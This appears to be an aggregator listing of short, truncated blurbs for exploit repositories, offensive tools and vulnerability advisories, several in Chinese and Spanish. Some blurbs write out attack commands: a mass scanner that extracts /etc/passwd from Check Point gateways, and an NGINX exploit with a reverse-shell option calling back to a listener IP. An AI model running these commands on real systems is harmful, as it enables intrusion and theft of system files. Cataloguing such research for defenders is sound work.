CVE-2024-24919

针对CVE-2024-24919的批量自动扫描器 该脚本旨在扫描远程 Check Point 防火墙列表中是否存在 CVE-2024-24919 漏洞。它尝试通过发送恶意 POST 请求来从目标服务器提取指定文件。 运行脚本 将提供的脚本保存为 Python 文件，例如 massautoscanner.py。 打开终端或命令提示符。 导航到保存 massautoscanner.py 和 urls.txt 文件的目录。 使用以下命令运行脚本： python scanner.py -l urls.txt -f /etc/passwd -o results.txt 伦理考量...

heimdall-unauth-ssrf

Heimdall: Unauthenticated SSRF via testconfig Description...

CVE-2025-49113

CVE-2025-49113 – Roundcube Webmail RCE漏洞利用 Python PoC CVE ID: CVE-2025-49113 利用类型: 远程代码执行（通过PHP对象注入） 应用: Roundcube Webmail ≤ 1.5.9 和 ≤ 1.6.10 利用语言: Python 作者: 00xCanelo 状态: 已在存在漏洞的Roundcube安装上测试并生效 📌 描述 此漏洞利用了Roundcube...

wraith

WRAITH — framework de hooks para navegador Un framework moderno y autónomo de hooks para navegador, pensado para equipos rojos, investigadores de seguridad y educadores: un sucesor de código limpio de BeEF y de las herramientas de callback blind-XSS que usamos a diario. SOLO PARA PRUEBAS DE...

CVE-2023-42793

CVE-2023-42793 - TeamCity 管理员账户创建导致远程代码执行 RCE 首先使用 exploit.py 为你创建一个管理员账户，然后使用 rce.py 在目标上执行命令，关于反弹 Shell 请查看这里 漏洞利用脚本 描述 该脚本利用 CVE-2023-42793 在 TeamCity 服务器上创建管理员账户。它向目标 URL 发送 POST 请求，使用指定或随机凭据创建管理员用户。 使用方法 python exploit.py -u -v -n -p -e 选项 -u, --url URL：目标 URL（必填） -v, --verbose：启用详细模式 -n,...

Incident-Analysis-Response-Check-Point-Security-Gateway-CVE-2024-24919-LFI-Exploitation

事件分析：Check Point 安全网关 CVE-2024-24919 利用尝试 📌 执行摘要 2024年6月6日下午03:12，安全监控系统针对一次针对 Check Point 安全网关（CP-Spark-Gateway-01，IP：172.16.20.146）的高危漏洞利用尝试触发了警报。外部攻击者（源 IP 为 203.160.68.12）试图利用 CVE-2024-24919 （任意文件读取漏洞），通过向 /clients/MyCRL 端点发送精心构造的 HTTP POST...

CVE-2024-9264

CVE-2024-9264 Grafana 认证后 DuckDB SQL 注入（RCE、文件读取） 概念验证（PoC） 该 PoC 演示了如何利用 CVE-2024-9264，通过认证用户执行 DuckDB SQL 查询，从而读取文件系统上的任意文件或远程执行任意代码。 任意代码仅在 Grafana v11.0.0 上可以执行。 所有受影响版本均可读取文件。 环境准备： 通过以下命令安装所需依赖： pip install -r requirements.txt 使用方法 文件读取（通用）： python3 CVE-2024-9264.py -u user -p pass -f...

Harvest Now, Decrypt Later: The Attack You Defend Against by Doing Nothing

Somewhere, an attacker is recording your encrypted traffic. Not breaking it. Recording it. The bet is patient and simple: store ciphertext today, wait for quantum computers to mature, decrypt at leisure. The industry calls it harvest now, decrypt later HNDL, and it is the rare security threat wit...

CVE-2019-11539

CVE-2019-11539 原始发现者：Orange Tsai, Meh Chang 作者：Justin Wagner, Alyssa Herrera 致谢：Orange, Meh Chang, Rich Warren, Alyssa, Mimir 漏洞描述 在 Pulse Secure Pulse Connect Secure 版本 9.0RX（9.0R3.4 之前）、8.3RX（8.3R7.1 之前）、8.2RX（8.2R12.1 之前）和 8.1RX（8.1R15.1 之前），以及 Pulse Policy Secure 版本 9.0RX（9.0R3.2...

BIT-MOODLE-2026-102581 Moodle: xss in forum post templates due to insufficient escaping

A flaw was found in Moodle. Insufficient output escaping in templates used to display forum posts enables a stored cross-site scripting XSS vulnerability. An attacker can inject malicious content into a forum post, which then executes arbitrary script code in the browser of another user viewing t...

CVE-2026-42945-NGINX-Rift

CVE-2026-42945-NGINX-Rift Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1 --listen-port...

Astra Linux – Vulnerability in curl

There is an information disclosure vulnerability in curl v8.1.0 when performing HTTPS transfers. libcurl may incorrectly use the read callback CURLOPTREADFUNCTION to request data to be sent, even when the CURLOPTPOSTFIELDS option is set. This occurs if the same handle was previously used to issue...

Astra Linux – Vulnerability found in Linux 6.1, Linux 5.15

In the Linux kernel, the following vulnerabilities have been resolved: f2fs: fixed the issue of waiting for block writeback in the postread case. If the inode is compressed but not encrypted, the function f2fswaitonblockwriteback was not called properly, resulting in waiting for the page writebac...

RevShell

🔥 RevShell 项目 — 高级 Windows 反向 Shell ██▀███ ▓█████ ██▒ █▓ ██████ ██░ ██ ▓█████ ██▓ ██▓ ▓██ ▒ ██▒▓█ ▀ ▓██░ █▒ ▒██ ▒ ▓██░ ██▒ ▓█ ▀ ▓██▒ ▓██▒ ▓██ ░▄█ ▒▒███ ▓██ █▒░ ░ ▓██▄ ▒██▀▀██░ ▒███ ▒██░ ▒██░ ▒██▀▀█▄ ▒▓█ ▄ ▒██ █░░ ▒ ██▒░▓█ ░██ ▒▓█ ▄ ▒██░ ▒██░ ░██▓ ▒██▒░▒████▒ ▒▀█░ ▒██████▒▒░▓█▒░██▓...

msf-auxiliarys

msf-auxiliarys 我收集的 metasploit 辅助后渗透模块 描述 此工作目录包含由我编写的不同 metasploit 辅助模块， 用于协助完成常见的后渗透任务。 下载/安装 1º - 从 github 下载模块 2º - 编辑模块以阅读描述 3º - 将模块移植到 metasploit 数据库 4º - 重新加载 metasploit 数据库 .. service postgresql start msfdb reinit msfconsole -q -x 'dbstatus; reloadall' 请阅读我的 'WIKI' 以获取更多信息...

codecrypt

Codecrypt 后量子密码学工具。 Codecrypt 目前不再维护，不过我至今仍在使用它。如果你有兴趣开发/维护它，请联系我。 关于 这是一个类似 GnuPG 的 Unix 程序，用于加密和签名，仅使用抗量子计算机的算法： McEliece 密码系统（紧凑型 QC-MDPC 变体）用于加密 基于哈希的 Merkle 树算法（FMTSeq 变体）用于数字签名 Codecrypt 是自由软件。代码以 LGPL3 条款授权，希望这能使其更容易与其他工具组合使用。 为什么选择这个？ 去读读 http://pqcrypto.org/ 链接...

JavaPayload

JavaPayload JavaPayload es una colección de payloads Java puros para usar en la post-explotación desde exploits Java puros o desde configuraciones incorrectas comunes como el administrador de Tomcat sin protección por contraseña o el puerto del depurador. La documentación desactualizada se puede...

CVE-2026-104966: Authorization Bypass Through User-Controlled Key

Plane is an open-source project management tool. Prior to 1.4.0, two endpoint families fail to verify that nested resource identifiers belong to the workspace and project named in the URL. An authenticated user can read or modify estimates from another workspace through PATCH...

CVE-2026-97283: Deserialization of Untrusted Data

Deserialization of Untrusted Data vulnerability in Liquid Web / StellarWP Advanced Post Manager advanced-post-manager allows Object Injection.This issue affects Advanced Post Manager: from n/a through 4.5.5...

EUVD-2026-92468

ApiAdmin v5.0 and before is vulnerable to Directory Traversal. The admin file-upload endpoint POST /admin/Index/upload in ApiAdmin takes the uploaded file's extension verbatim there is no whitelist, blacklist or content check and moveuploadedfile drops the file into the web-accessible directory...